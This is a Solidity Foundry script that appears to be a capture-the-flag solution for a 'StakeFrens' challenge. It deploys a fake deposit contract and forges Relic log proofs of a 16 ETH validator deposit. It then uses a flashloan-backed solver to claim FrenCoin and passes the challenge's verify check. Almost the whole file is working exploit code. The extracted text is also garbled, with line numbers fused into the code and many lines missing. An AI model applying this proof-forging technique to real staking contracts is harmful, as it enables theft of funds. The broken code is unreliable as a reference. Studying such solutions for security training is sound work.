2
pragma solidity ^0.8.13;4
import {Test, console2} from "forge-std/Test.sol";5
import {IReliquary} from "relic-sdk/packages/contracts/interfaces/IReliquary.sol";6
import {IProver} from "relic-sdk/packages/contracts/interfaces/IProver.sol";7
import {Fact, FactSignature} from "relic-sdk/packages/contracts/lib/Facts.sol";8
import {FactSigs} from "relic-sdk/packages/contracts/lib/FactSigs.sol";9
import {CoreTypes} from "relic-sdk/packages/contracts/lib/CoreTypes.sol";10
import {IDepositEvents, IDepositContract} from "../src/interfaces/IDepositContract.sol";11
import {FrenPool} from "../src/FrenPool.sol";12
import {StakeFrens} from "../src/StakeFrens.sol";13
import {FrenCoin} from "../src/FrenCoin.sol";14
import {RelicMock} from "./RelicMock.sol";15
import {ETHFlashloan} from "./ETHFlashloan.sol";17
contract FakeDepositContract is IDepositContract {18
function makeFakeDeposit(19
bytes calldata pubkey,20
bytes calldata withdrawal_credentials,21
bytes calldata amount,22
bytes calldata signature,27
withdrawal_credentials,43
function get_deposit_count() external pure returns (bytes memory) {47
function get_deposit_root() external pure returns (bytes32) {48
revert("DepositContract: deposit value too high");52
contract Solver is ETHFlashloan {53
function callback(bytes calldata data) internal override {58
FrenPool.DepositProof memory proof61
(FrenCoin, address, address, FrenPool.DepositProof)63
coin.showFrenship{value: 16 ether}(creator, prover, proof);70
FrenPool.DepositProof calldata proof72
assert(msg.value == FLASHLOAN_FEE);73
flashLoan(16 ether, abi.encode(coin, creator, prover, proof));74
coin.transfer(msg.sender, coin.balanceOf(address(this)));78
contract Solve is RelicMock, Test, IDepositEvents {79
IReliquary constant RELIQUARY =80
IReliquary(0x5E4DE6Bb8c6824f29c44Bd3473d44da120387d08);81
address constant RELIC_MULTISIG =82
0xCCEf16C5ac53714512A5Acce5Fa1984A977351bE;83
address constant RELIC_LOG_PROVER =84
0xED12949e9a2cF4D86a2d0cF930247214Ea84aA4e;86
StakeFrens stakeFrens;89
constructor() RelicMock(RELIQUARY, RELIC_MULTISIG) {}91
function setup() public {92
stakeFrens = new StakeFrens();93
frenCoin = stakeFrens.frenCoin();96
function to_little_endian_64(98
) internal pure returns (bytes memory ret) {100
bytes8 bytesValue = bytes8(value);102
ret[0] = bytesValue[7];103
ret[1] = bytesValue[6];104
ret[2] = bytesValue[5];105
ret[3] = bytesValue[4];106
ret[4] = bytesValue[3];107
ret[5] = bytesValue[2];108
ret[6] = bytesValue[1];109
ret[7] = bytesValue[0];112
function setupMockProof(113
FakeDepositContract fake114
) internal returns (FrenPool.DepositProof memory proof) {115
bytes32[] memory topics = new bytes32[](1);116
topics[0] = DepositEvent.selector;117
bytes memory pubkey = new bytes(48);118
bytes memory withdrawal_credentials = stakeFrens.pools(address(this)).eth1WithdrawalCredentials();119
uint256 deposit_amount = 16 ether;120
DepositEventData memory deposit = DepositEventData(122
withdrawal_credentials,123
to_little_endian_64(uint64(deposit_amount / 1 gwei)),127
CoreTypes.LogData memory log = CoreTypes.LogData(132
bytes memory data = abi.encode(log);133
FactSignature sig = FactSigs.logFactSig(0, 0, 0);134
Fact memory fact = Fact(address(fake), sig, data);135
proof = FrenPool.DepositProof(0, 0, 0, bytes32(0), mockProof(fact));138
function getMockProverAndProof(139
FakeDepositContract fake140
) internal returns (address prover, FrenPool.DepositProof memory proof) {141
prover = setupMockProver();142
proof = setupMockProof(fake);145
function getRealProverAndProof(146
FakeDepositContract fake147
) internal returns (address prover, FrenPool.DepositProof memory proof) {148
prover = RELIC_LOG_PROVER;150
bytes memory pubkey = new bytes(48);151
bytes memory withdrawal_credentials = stakeFrens.pools(address(this)).eth1WithdrawalCredentials();152
uint256 deposit_amount = 16 ether;155
fake.makeFakeDeposit(157
withdrawal_credentials,158
to_little_endian_64(uint64(deposit_amount / 1 gwei)),165
function solve() internal {166
stakeFrens.createPool();167
FakeDepositContract fake = new FakeDepositContract();170
FrenPool.DepositProof memory proof171
) = getMockProverAndProof(fake);172
Solver solver = new Solver();173
solver.solve{value: solver.FLASHLOAN_FEE()}(frenCoin, address(this), prover, proof);174
uint256 seed = stakeFrens.generate(address(this));175
uint256 amount = uint256(uint128(uint256(keccak256(abi.encode(seed)))));176
uint256 balance = frenCoin.balanceOf(address(this));177
require(balance > amount, "amount too small");178
frenCoin.transfer(address(1), balance - amount);179
require(stakeFrens.verify(seed, amount), "challenge not solved");182
function test() public {183
vm.createSelectFork("mainnet");